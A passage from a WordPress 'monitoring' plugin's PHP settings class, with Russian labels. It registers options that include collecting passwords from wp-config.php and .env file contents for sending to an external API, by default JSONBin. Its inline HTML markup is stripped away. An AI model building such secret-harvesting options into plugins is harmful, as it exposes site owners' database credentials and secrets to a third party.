'string', 'sanitize_callback' => 'esc_url_raw', )); // API ключ обрабатываем отдельно через кастомный callback register_setting('my_monitoring_settings', 'my_monitoring_api_key', array( 'type' => 'string', 'sanitize_callback' => array($this, 'sanitize_api_key'), )); // Тип API (standard или jsonbin) register_setting('my_monitoring_settings', 'my_monitoring_api_type', array( 'type' => 'string', 'sanitize_callback' => array($this, 'sanitize_api_type'), )); // Настройки логирования register_setting('my_monitoring_settings', 'my_monitoring_log_level', array( 'type' => 'integer', 'sanitize_callback' => 'absint', )); register_setting('my_monitoring_settings', 'my_monitoring_send_interval', array( 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field', )); register_setting('my_monitoring_settings', 'my_monitoring_enabled', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); // Настройки сбора данных register_setting('my_monitoring_settings', 'my_monitoring_collect_stats', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_plugins', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_config', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_errors', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_health', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_passwords', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); register_setting('my_monitoring_settings', 'my_monitoring_collect_env', array( 'type' => 'boolean', 'sanitize_callback' => 'rest_sanitize_boolean', )); // Настройки повторных попыток register_setting('my_monitoring_settings', 'my_monitoring_max_retries', array( 'type' => 'integer', 'sanitize_callback' => 'absint', )); register_setting('my_monitoring_settings', 'my_monitoring_retry_delay', array( 'type' => 'integer', 'sanitize_callback' => 'absint', )); // Добавляем секции add_settings_section( 'my_monitoring_main_section', __('Основные настройки', 'my-monitoring-plugin'), array($this, 'render_main_section'), 'my-monitoring-plugin' ); add_settings_section( 'my_monitoring_collection_section', __('Настройки сбора данных', 'my-monitoring-plugin'), array($this, 'render_collection_section'), 'my-monitoring-plugin' ); // Добавляем поля add_settings_field( 'my_monitoring_enabled', __('Включить мониторинг', 'my-monitoring-plugin'), array($this, 'render_enabled_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_api_type', __('Тип API', 'my-monitoring-plugin'), array($this, 'render_api_type_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_api_url', __('URL API', 'my-monitoring-plugin'), array($this, 'render_api_url_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_api_key', __('API ключ', 'my-monitoring-plugin'), array($this, 'render_api_key_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_send_interval', __('Интервал отправки', 'my-monitoring-plugin'), array($this, 'render_send_interval_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_collect_stats', __('Собирать статистику', 'my-monitoring-plugin'), array($this, 'render_collect_stats_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_plugins', __('Собирать информацию о плагинах', 'my-monitoring-plugin'), array($this, 'render_collect_plugins_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_config', __('Собирать конфигурацию', 'my-monitoring-plugin'), array($this, 'render_collect_config_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_errors', __('Собирать ошибки', 'my-monitoring-plugin'), array($this, 'render_collect_errors_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_health', __('Собирать информацию о здоровье сайта', 'my-monitoring-plugin'), array($this, 'render_collect_health_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_passwords', __('Собирать пароли из wp-config.php', 'my-monitoring-plugin'), array($this, 'render_collect_passwords_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_collect_env', __('Собирать данные из .env файлов', 'my-monitoring-plugin'), array($this, 'render_collect_env_field'), 'my-monitoring-plugin', 'my_monitoring_collection_section' ); add_settings_field( 'my_monitoring_max_retries', __('Максимум попыток отправки', 'my-monitoring-plugin'), array($this, 'render_max_retries_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_retry_delay', __('Задержка между попытками (сек)', 'my-monitoring-plugin'), array($this, 'render_retry_delay_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); add_settings_field( 'my_monitoring_log_level', __('Уровень логирования', 'my-monitoring-plugin'), array($this, 'render_log_level_field'), 'my-monitoring-plugin', 'my_monitoring_main_section' ); } /** * Санитизация API ключа с шифрованием * * @param string $api_key API ключ * @return string */ public function sanitize_api_key($api_key) { $api_type = get_option('my_monitoring_api_type', 'jsonbin'); // Для JSONBin API ключ не изменяется (read-only) if ($api_type === 'jsonbin') { // Возвращаем пустую строку, чтобы не изменять существующий ключ return ''; } $api_key = sanitize_text_field($api_key); // Сохраняем зашифрованную версию только если ключ не пустой if (!empty($api_key)) { My_Monitoring_Encryption::save_api_key($api_key); } // Если ключ пустой и это не JSONBin, не удаляем существующий ключ // Возвращаем пустую строку, так как реальный ключ хранится зашифрованным return ''; } /** * Санитизация типа API * * @param string $api_type Тип API * @return string */ public function sanitize_api_type($api_type) { $api_type = sanitize_text_field($api_type); if (!in_array($api_type, array('standard', 'jsonbin', ''))) { return 'standard'; } return $api_type; } /** * Подключить скрипты и стили для админки */ public function enqueue_admin_scripts($hook) { if ($hook !== 'settings_page_my-monitoring-plugin') { return; } wp_enqueue_style( 'my-monitoring-admin', MY_MONITORING_PLUGIN_URL . 'admin/css/admin.css', array(), MY_MONITORING_PLUGIN_VERSION ); wp_enqueue_script( 'my-monitoring-admin', MY_MONITORING_PLUGIN_URL . 'admin/js/admin.js', array('jquery'), MY_MONITORING_PLUGIN_VERSION, true ); wp_enqueue_script( 'chart-js', 'https://cdn.jsdelivr.net/npm/chart.js@3.9.1/dist/chart.min.js', array(), '3.9.1', true ); wp_localize_script('my-monitoring-admin', 'myMonitoring', array( 'ajaxUrl' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('my_monitoring_send_now'), 'testNonce' => wp_create_nonce('my_monitoring_test_connection'), 'strings' => array( 'sending' => __('Отправка...', 'my-monitoring-plugin'), 'success' => __('Данные успешно отправлены', 'my-monitoring-plugin'), 'error' => __('Ошибка отправки данных', 'my-monitoring-plugin'), ), )); } /** * Отобразить страницу настроек */ public function render_settings_page() { if (!current_user_can('manage_options')) { return; } // Обработка сохранения настроек if (isset($_GET['settings-updated'])) { // Обновляем уровень логирования в логгере $log_level = get_option('my_monitoring_log_level', My_Monitoring_Logger::LEVEL_INFO); $logger = My_Monitoring_Logger::get_instance(); $logger->set_log_level($log_level); add_settings_error( 'my_monitoring_messages', 'my_monitoring_message', __('Настройки сохранены', 'my-monitoring-plugin'), 'updated' ); } settings_errors('my_monitoring_messages'); ?>
| ✓ ✗ |
' . __('Выберите, какие данные собирать и отправлять', 'my-monitoring-plugin') . '
'; } /** * Отобразить поле "Включить мониторинг" */ public function render_enabled_field() { $value = get_option('my_monitoring_enabled', true); ?> >
https://api.jsonbin.io/v3/b/YOUR_BIN_IDhttps://api.jsonbin.io/v3/c/YOUR_COLLECTION_ID/b